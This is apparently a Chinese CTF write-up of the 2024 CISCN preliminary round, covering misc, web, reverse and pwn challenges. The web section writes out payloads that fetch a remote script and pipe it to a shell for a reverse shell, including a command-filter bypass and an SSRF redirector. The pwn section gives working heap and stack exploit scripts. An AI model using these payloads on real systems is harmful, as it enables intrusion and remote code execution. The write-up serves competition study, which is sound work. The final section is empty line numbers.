第十七届全国大学生信息安全竞赛-创新实践能力赛初赛

misc

Power Trajectory Diagram

先将npz解压,然后将功耗转成图片分析

1
2
3
4
5
6
7
8
9
10
from PIL import Image
import numpy as np
ind=np.load("index.npy")
p=np.load("trace.npy")

for j,a in enumerate(p):
img=Image.new("1",(5000,300),255)
for i,v in enumerate(a):
img.putpixel((i,int(v*100)+150),0)
img.save("output/%s.png"%j)

将四十张图片一组,找到不同的图片,然后在输入的表中找到索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import numpy as np

# 读取数组
print(np.load('input.npy'))
'''
['a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r'
's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9'
'_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n'
'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5'
'6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j'
'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1'
'2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f'
'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x'
'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b'
'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't'
'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!'
'@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p'
'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7'
'8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l'
'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3'
'4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h'
'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z'
'0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd'
'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v'
'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#'
'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r'
's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9'
'_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n'
'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5'
'6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j'
'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1'
'2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f'
'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x'
'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#']
'''

对比后得到登录密码_ciscn_2024_

火锅链观光打卡

连接MetaMask后开始游戏

神秘文件

PPT第三页

UGF5dDQ6NmYtNDA=解base64得到Payt4:6f-40

PPT第五页

备注中的字符串循环解密base64得到pArt5:5f-90d

左上角的UGFyVDY6ZC0ybase64解密得到ParT6:d-2

ppt\slides\slide4.xml中找到第七部分

ROT13然后base64 PART7=22b3

1
2
<p:cNvPr id="4" name="HRSFIQp9ZwWvZj=="/>
<p:cNvPr id="5" name="ROT13(All)"/>

ppt\slideLayouts\slideLayout2.xml或者幻灯片母版中可以看到第八部分

去除B,b,1,3后base64 paRt8:87e

1
2
3
<a:t>c1GFSbd3Dg6BODbdl</a:t>
<a:t>Remove All </a:t>
<a:t>’B ’/’b’ /’1 ’/’3’</a:t>

ppt\media\image57.jpg底部存在密文,base64解密得到parT9:dee

ppt\comments\comment1.xml中得到第十部分

维吉尼亚后base64 PARt10:9}

1
2
3
4
5
6
7
<p:text>ZYWJbIYnFhq9</p:text>
<p:text>What is this?</p:text>
<p:text>Vigenere cipher is good!</p:text>
<p:text>Aha,the key is</p:text>
<p:text>Is what?</p:text>
<p:text>furry</p:text>
<p:text>🆗</p:text>

docProps\app.xml得到加密方式,docProps\core.xml得到密文和密钥

Bifid解密后base64 Part1:flag{e

1
2
3
4
<Manager>Bifid cipher</Manager>

<dc:title>这是一个标题 QFCfpPQ6ZymuM3gq</dc:title>
<dc:creator>Administrator;Key:lanjing</dc:creator>

ppt\embeddings\Microsoft_Word_Document.docx改成zip解压

word\document.xml得到第二部分

凯撒偏移10后base64 part2:675efb

1
2
3
4
5
6
7
8
<w:t></w:t>
<w:t>o</w:t>
<w:t>ffset:10</w:t>
<w:t></w:t>
<w:t>原来似乎有什么,后来好像被小C</w:t>
<w:t>aesar</w:t>
<w:t>抱走了!</w:t>
<w:t>mQPinNS6Xtm1JGJs</w:t>

在PPT中打开宏编辑器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Sub crypto(sMessage, strKey)
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)

kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next

j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next

x = 0
y = 0

For i = 1 To 3072
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
Next

For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp

crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
'i13POMdzEAzHfy4dGS+vUA==(After base64)
End Sub

rc4后base64得到PArt3:3-34

将一到十部分拼接在一起:flag{e675efb3-346f-405f-90dd-222b387edee9}

通风机

修补文件头,加上GJK后用STEP 7 Micro/WIN打开

符号表里注释的字符串base64得到flag

盗版软件

运行hackexe.exe会生成loader.exeoutput.png

stegsolve发现图片在红色通道每隔一位组合起来是zip,写脚本提取出来

1
2
3
4
5
6
7
8
9
10
from PIL import Image
a=Image.open('output.png')
b=list(a.getdata())
e=[]
for i in range(0,len(b),2):
e.append(b[i][0])

f=open('1.zip','wb')
f.write(bytes(e))
f.close()

解压后得到.b文件

1
r()J$nEA'r!!#;^5u:HM1"'W(Mc*q[<_/-H(eBQ_+@m$P8kMf4a[h>1:e3=VX?9p=!\>H[_9!-P!Q!d_;F+/NMc([U69Id>ct7iR(^gBUKlR.n!/lA`!!!!iKtqeC8-.(6Mb"[QMa/CV!RTk-8H6e+1!)_>1l+['ejqO2X?j\E%7($238erL9ERs6#Xpc$FkBeaMa/OZ!RPFEM[W-EMa/7R!RO,j"Gf?G6!.Ga!ROtQ6!-EU6!?g3ll\Sls57!F=^"@S''W'hs8Q@r^3=WR?SaG;!'sXWM<7?[m%=@Z!(i%/8\>*)+T!Ns8F&Q@8VuM%M=EmC9Qqfgs4'f"l=^2!!!$.f\g`/F!<:Sa$:.up:e`[d9ejFSs1h0^_FX^B8;Y/K]'9g`i;_=uM8s?B6!-g;i^eq%6+WJ\FCG4"Ktqd;8cR(Yjlhm.!!#QBlju^Ei_;/LC'6h)8;[..\cUR+?iSZ/p],bC8;"i'?A\Aj5XAOd!"],16!-[7njkLW6+U0o;s"&08;Y5UM8r=Fa[q?Y8;Z%kM>9HK!nkY%s4)bs!.?7t6!%3&!'gMa6!.k%>!]_-0+Tc:eQ5m>\ohmb@K4kLs3Bjks8W*i!Q.GW`^kgWFgOI7k?)I!=hET4.LJIugAf\

对文件内容进行base85后丢到沙箱中

得到c2地址39.100.72.235

然后分析3842.dmp

使用strings搜索所有http或者ftp开头的链接

strings 3842.dmp | grep -iE "^(http|ftp|chrome|firefox).*\.(txt|xml|png|jpg|gif|zip|rar|7z|pdf|doc|docx|php|py|flag|exe)$" > 1.txt

然后去除 baidu.com xunfei.com 这种官方网站

根据题目描述在网上下了一个盗版软件 很明显是winhack.com

拼接后md5

winhack.com39.100.72.235

flag{096e8b0f9daf10869f013c1b7efda3fd}

p&p

利用溢出修改flag写入文件位置,然后访问/static/1即可获得flag

1
2
3
4
5
6
7
8
9
import requests
import urllib.parse as parse

url="http://8.147.131.163:39352/upload?name="+'a'*(112+16+6)+'a'*0x1e+'static/1'
print(url)
r=requests.get(url)
url="http://8.147.131.163:39352/test"
r=requests.get(url)
print(r.text)

Tough_DNS

题目内容:DNS的世界充满了多变的字符,接下来我将直接给你答案:56 16 26 93 66 53 16 56 d2 03 26 93 56

一打开就是大量请求一串10的数据

提取出来,开头7个1,一眼二维码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
111111101100101111111
100000100100101000001
101110101010101011101
101110101001001011101
101110101110001011101
100000100000001000001
111111101010101111111
000000000110000000000
111100101010010011101
010010000010110111111
011001111000101100001
001110000110100001000
000101111001001100000
000000001111001110010
111111100100011010110
100000100011010000100
101110100001000010110
101110101110110100110
101110101011110101100
100000101110001111001
111111101111001111100

扫码得到15f9792dba5c

然后用tshark提取请求的txt字段

tshark -r Tough_DNS.pcapng -T json -e dns.txt -Y "dns.txt" > 1.txt

分析发现每隔一位刚好组成504B,python提取转文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json

f=open('1.txt')

d=f.read()
d=json.loads(d)

e1=''
e2=''
for i in range(0,len(d),2):
e1+=d[i]['_source']['layers']['dns.txt'][0]
e2+=d[i+1]['_source']['layers']['dns.txt'][0]

print(len(e1))
print(len(e2))

f=open('1.bin','wb')
f.write(bytes.fromhex(e1[1:]))
f.close()

f=open('2.bin','wb')
f.write(bytes.fromhex(e2[1:]))
f.close()

有两个文件,压缩包和PGP文件

解压密码是二维码的结果,解压得到secret.gpg

用PGPTool导入secret.gpg

然后解密提取出来的文件,密码在题目描述中

根据ascii码范围,前面应该是2-7,调整位置65 61 62 39 66 35 61 65 2d 30 62 39 65,得到eab9f5ae-0b9e

得到flag{79830a47-faf7-4067-b585-145776f833cd}

web

Simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

没有过滤 str_replace ,那么就可以通过str_replace来绕过这一大串过滤

比如 str_replace(z,count(),whozami); 就可以拿到 whoami

因为题目中是system,所以再套一层php -r命令来反弹shell

poc

1
cmd=php -r system((str_replace(z,count(),bazse64_decozde))(Y3VybCA0Ny45OS43Ny41MnxiYXNo));

反弹shell后目录中没有flag,通过 ps -aux 查看发现还有mysql服务

1
2
3
4
5
6
7
8
9
10
11
12
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root 1 0.0 0.0 2364 512 pts/0 Ss+ 03:49 0:00 tail -f /dev/null
root 27 0.0 3.8 76568 20092 ? Ss 03:49 0:00 /usr/sbin/apache2 -k start
www-data 30 0.0 1.7 76592 9192 ? S 03:49 0:00 /usr/sbin/apache2 -k start
www-data 31 0.0 2.5 77160 13380 ? S 03:49 0:00 /usr/sbin/apache2 -k start
www-data 32 0.0 1.7 76640 9192 ? S 03:49 0:00 /usr/sbin/apache2 -k start
www-data 33 0.0 2.5 76844 13196 ? S 03:49 0:00 /usr/sbin/apache2 -k start
www-data 34 0.0 2.4 76648 12804 ? S 03:49 0:00 /usr/sbin/apache2 -k start
root 166 0.0 0.3 2420 1620 pts/0 S+ 03:49 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 279 0.0 15.9 1083992 83680 pts/0 Sl+ 03:49 0:00 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root 280 0.0 0.2 5740 1056 pts/0 S+ 03:49 0:00 logger -t mysqld -p daemon error
root 320 0.0 0.0 0 0 pts/0 Z+ 03:49 0:00 [debian-start] <defunct>

直接 mysql -u root -proot 连接,但是没有回显,需要用错误语句来触发报错回显

其他做法

%0a绕过

cmd=l%0as+/

通过hex2bin转换

cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,2)));

easycms

REMOTE_ADDR绕不过去,肯定要打ssrf

后台地址被修改了,尝试爆破无果

在官方手册中找前台有远程请求的接口

最终找到一个二维码函数

1
index.php?s=api&c=api&m=qrcode&thumb=中间LOGO&text=内容&size=大小值&level=容错率

在自己的服务器上起一个flask,重定向到 http://127.0.0.1/ cmd就能执行命令了,用ctfshow的一键反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf-8

from flask import *

app = Flask(__name__)
app.secret_key = '*************************'

@app.route('/',methods=['GET', 'POST'])
def index():
return redirect("http://127.0.0.1/flag.php?cmd=curl%20https://your-shell.com/47.99.77.52:1234%20|%20sh")

if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)

然后发包

http://eci-2ze9sa3j2fhr9odtqwsd.cloudeci1.ichunqiu.com/index.php?s=api&c=api&m=qrcode&thumb=http://47.99.77.52/

easycms_revenge

继续用上一题的payload,网页返回二维码生成失败

猜测对参数进行了校验,修改成手册中完整的请求/index.php?s=api&c=api&m=qrcode&thumb=http://47.99.77.52/&text=1&size=h&level=1

返回此图片不是一张可用的图片,应该是对网页的返回值进行了检查

在官网下载 迅睿CMS开发框架 查看源代码(之前看的一直是github上的项目,后来发现竟然与题目用的不一样。。。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# dayrui\Fcms\Control\Api\Api.php
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcodpng';
if (!IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width(int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}

因为有getimagesize,所以需要加个图片头

然后通过 dr_catcher_data 调用curl触发ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# dayrui\Fcms\Core\Helper.php

/**
* 调用远程数据 curl获取
*
* @param $url
* @param $timeout 超时时间,0不超时
* @param $is_log 0表示请求失败不记录到系统日志中
* @param $ct 0表示不尝试重试,1表示重试一次
* @return 请求结果值
*/
// curl模式
if (function_exists('curl_init')) {
$ch = curl_init($url);
if (substr($url, 0, 8) == "https://") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
}
if ($ct) {
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0',
'Accept: */*',
'X-Requested-With: XMLHttpRequest',
'Referer: '.$url,
'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3',
));
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13)Gecko/20080311 Firefox/2.0.0.13');
}
...
}

总共会请求两次,第一次的时候返回真实图片就好了,第二次再重定向到127.0.0.1

根据条件修改flask中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding=utf-8

from flask import *

app = Flask(__name__)
app.secret_key = '*************************'
counter = 0

@app.route('/',methods=['GET', 'POST'])
def main():
global counter

if counter == 0:
counter += 1
return send_file('img.png', mimetype='image/png')
elif counter == 1:
counter = 0
return redirect("http://127.0.0.1/flag.php?cmd=curl%20https://your-shell.com/47.99.77.52:1234%20|%20sh")

if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)

反弹shell后执行readflag

reverse

asm_re

ida上扣下来的arm汇编代码,丢给gpt翻译一下得到加密逻辑,爆一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
lst = [0x1fd7, 0x21b7, 0x1e47, 0x2027, 0x26e7,
0x10d7, 0x1127, 0x2007, 0x11c7, 0x1e47,
0x1017, 0x1017, 0x11f7, 0x2007, 0x1037,
0x1107, 0x1f17, 0x10d7, 0x1017, 0x1017,
0x1f67, 0x1017, 0x11c7, 0x11c7, 0x1017,
0x1fd7, 0x1f17, 0x1107, 0x0f47, 0x1127,
0x1037, 0x1e47, 0x1037, 0x1fd7, 0x1107,
0x1fd7, 0x1107, 0x2787]

for i in range(38):
for j in range(32, 128):
if (((j * 0x50) + 0x14) ^ 0x4D) + 0x1e == lst[i]:
print(chr(j), end='')
break
# flag{67e9a228e45b622c2992fb5174a4f5f5}

androidso_re

有两个native函数用来获取key和iv,直接frida hook一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Java.perform(() => {
let jni = Java.use("com.example.re11113.jni");
jni["getkey"].implementation = function () {
console.log(`jni.getkey is called`);
let result = this["getkey"]();
console.log(`jni.getkey result=${result}`);
return result;
};

jni["getiv"].implementation = function () {
console.log(`jni.getiv is called`);
let result = this["getiv"]();
console.log(`jni.getiv result=${result}`);
return result;
};
});

得到key=A8UdWaeq,iv=Wf3DLups,加密方式为DES-CBC

厨子解一下就好了

whereThel1b

输入随机字符观察加密后的数据,每三位加密得到4位数据,猜是base64,直接爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import whereThel1b
from string import hexdigits
import itertools
hexdigits += "lg{}-"
combinations = [''.join(i) for i in itertools.product(hexdigits, repeat=3)]

encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]

flag = bytearray(b"flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}")

for i in range(0, 14):
for combo in combinations:
flag[i*3:(i+1)*3] = combo.encode()
ret = whereThel1b.trytry(flag)

if ret[i*4:(i+1)*4] == encry[i*4:(i+1)*4]:
print(flag.decode())
break

# flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

gdb_debug

伪随机数,从当前时间往前爆破seed解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


unsigned char key[38] = {
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,
0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,
0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78
};

void dump_data(unsigned char* data, size_t size, int type) {
for (size_t i = 0; i < size; i++)
{ if (type)
printf("%c", data[i]);
else
printf("%d,", data[i]);
}
printf("\n\n");

}

void brute_force() {
size_t length = 38;
unsigned char enc_data[] = "congratulationstoyoucongratulationstoy";
unsigned char result[40], shuffled_result[40], final_result[40];
unsigned char shuffle_table[40];


unsigned char xor_key1[38];
unsigned char xor_key2[38];

unsigned int current_time = 1715788800;//(unsigned int)time(NULL);
printf("current time: %d\n", current_time);

for (unsigned int seed = current_time; seed >= 0; --seed) {
srand(seed & 0xF0000000);

// 异或
for (size_t i = 0; i < length; ++i) {
xor_key1[i] = rand();
}

// 生成表
for (size_t i = 0; i < length; ++i) {
shuffle_table[i] = i;
}

// 打乱表
for (size_t k = length - 1; k; --k) {
size_t rand_idx = rand() % (k + 1);
unsigned char temp = shuffle_table[k];
shuffle_table[k] = shuffle_table[rand_idx];
shuffle_table[rand_idx] = temp;
}


// 异或
for (size_t i = 0; i < length; ++i) {
xor_key2[i] = rand();
}

// ---------------------------------------------------
for (size_t i = 0; i < length; ++i) {
final_result[i] = enc_data[i] ^ key[i];
}

for (size_t i = 0; i < length; ++i) {
final_result[i] ^= xor_key2[i];
}

// 恢复打乱的数据
for (size_t i = 0; i < length; ++i) {
shuffled_result[shuffle_table[i]] = final_result[i];
}

for (size_t i = 0; i < length; ++i) {
result[i] ^= xor_key1[i];
}

if ( result[0] == 'f'
&& result[1] == 'l'
&& result[2] == 'a'
&& result[3] == 'g'
&& result[4] == '{') {
dump_data(result, 38, 0);
}
}
}

int main() {
printf("magic........\n");
brute_force();
}

pwn

gostack

func3中存在栈溢出,构造payload,但要小心rbp-0xc8与rbp-0xd0

1
2
3
4
5
6
7
8
9
10
from pwn import *

#p=process("./gostack")
p=remote("8.147.133.9","39706")
e=ELF("./gostack")
payload=b"a"*0x100+p64(0x4C0995)+p64(0x1c8)
payload+=b'a'*0xc0+p64(0x4a0af6)
p.sendlineafter(b"message :",payload)
p.interactive()

orange_cat_diary

free时存在uaf,edit时允许溢出8字节,使用house of orange将top chunk放进unsorted bin,即可获取libc地址
修改malloc_hook为gadget即可获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
def add(count,data=b'\n'):
pause()
p.sendlineafter(b'choice',b'1')
p.sendlineafter(b'content:',str(count).encode())
p.sendafter(b'content:',data)

def show():
p.sendlineafter(b'choice',b'2')

def free():
p.sendlineafter(b'choice',b'3')

def edit(count,data=b'\n'):
p.sendlineafter(b'choice',b'4')
p.sendlineafter(b'content',str(count).encode())
p.sendafter(b'content',data)
pause()

libc=ELF("./libc-2.23.so")
p=remote("8.147.131.196","32607")
#p=process("./orange_cat_diary")
#gdb.attach(p)
p.sendlineafter('name','rotwill')
add(0x68)
edit(0x70,b'a'*0x68+p64(0x1001-0x70)[:-1])
add(0x1000)
add(0x68)
#edit(0x60,b'a'*0x58+b'rotwilll')
show()
p.readuntil(':')
d=u64(p.read(8))
print(hex(d))
libc.address=d-0x3c510a
malloc_hook=libc.sym['__malloc_hook']

gadget=libc.address+0xf03a4
print(hex(malloc_hook))
free()
edit(8,p64(malloc_hook-0x23))
add(0x68)
add(0x68,b'a'*0x13+p64(gadget))
p.sendlineafter(b'choice',b'1')
p.sendlineafter(b'content:',"123")
p.interactive()

easybuf

赛后出的

一个使用了protobuf的菜单题,只能申请0x30字节的chunk,输出的超过三次会关闭输出句柄,不过释放时存在uaf,所以可以利用fast bin构造tcache bin中的double free,之后就可以任意地址写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
import varint
import sys
num=0
def Mode(m):
return b'\x10'+varint.encode(m<<1)

def Ind(i):
return b'\x18'+varint.encode(i<<1)

def Spbuf(s):
if s:
s=0x30
else:
s=0
return b'\x20'+varint.encode(s<<1)

def Data(d):
return b'\x0a'+varint.encode(len(d))+d

def Spchr(s):
return b'\x28'+varint.encode(s)

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result


def add(ind,data=b'\n'):
payload=Mode(1)+Ind(ind)+Data(data)+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)

def free(ind):
payload=Mode(2)+Ind(ind)+Data(b'test')+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)
def none():
payload=Mode(0)+Ind(0)+Data(b'test')+Spbuf(0)+Spchr(0)
if num!=3:
p.sendafter('NT?\n',payload)
else:
p.send(payload)


def show(ind,isbuf=0,spchr=0):
global num
payload=Mode(3)+Ind(ind)+Spbuf(isbuf)+Spchr(spchr)+Data(b'test')
if num!=3:
p.sendafter('NT?\n',payload)
p.readuntil('Content:')
num+=1
else:
p.send(payload)
pause
# p.readuntil('Content:')

#context.log_level='debug'
p=process(["./pwn"])
libc=ELF("./libc.so.6")
add(0,b"0")
add(1,b'testtest')
show(0)
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-0x21ac30

print(hex(libc.address))
stdout=libc.sym['_IO_2_1_stdout_']
vtable=stdout+0xd0
print(hex(vtable))
obstack_jump=libc.address+0x2173c0
for i in range(6):
add(i+2)

for i in range(7):
free(i)

show(1)
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
chunk0=calc(d)
print(f"{chunk0=: x}")
free(7)
system=libc.sym['system']

chunk6=chunk0+0x1d60
chunk7=chunk0+0x2020
obstack=p64(system)
obstack+=b'/bin/sh\x00'+p64(chunk7+8)
#obstack=obstack.ljust(0x28,b'\x00')+p64(0x7fffffffffffffff)+p64(0)+p64(system)


payload=p64(0)+p64(0x41)+p64((chunk6>>12)^(chunk7-0x10))
add(6,payload)
print(f"{chunk6=: x}")
print(f"{chunk7=: x}")

free(7)
add(8,p64((chunk7>>12)^(chunk6)))
print(hex(vtable))

for i in range(7):
add(0,obstack)

#show(0)
#show(0)
#@add(0)
free(6)
#add(8,p64()


gdb.attach(p)
pause()
add(0,p64(0)+p64(0x40)+p64(((chunk6+0x10)>>12)^(vtable)))

#add(1,obstack)#
payload1=p64(0)+p64(obstack_jump)+p64(chunk7-0x38)
add(2,payload1)
add(2,payload1)
#add(0)

#print(hex(calc(d)))
p.interactive()

EzHeap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
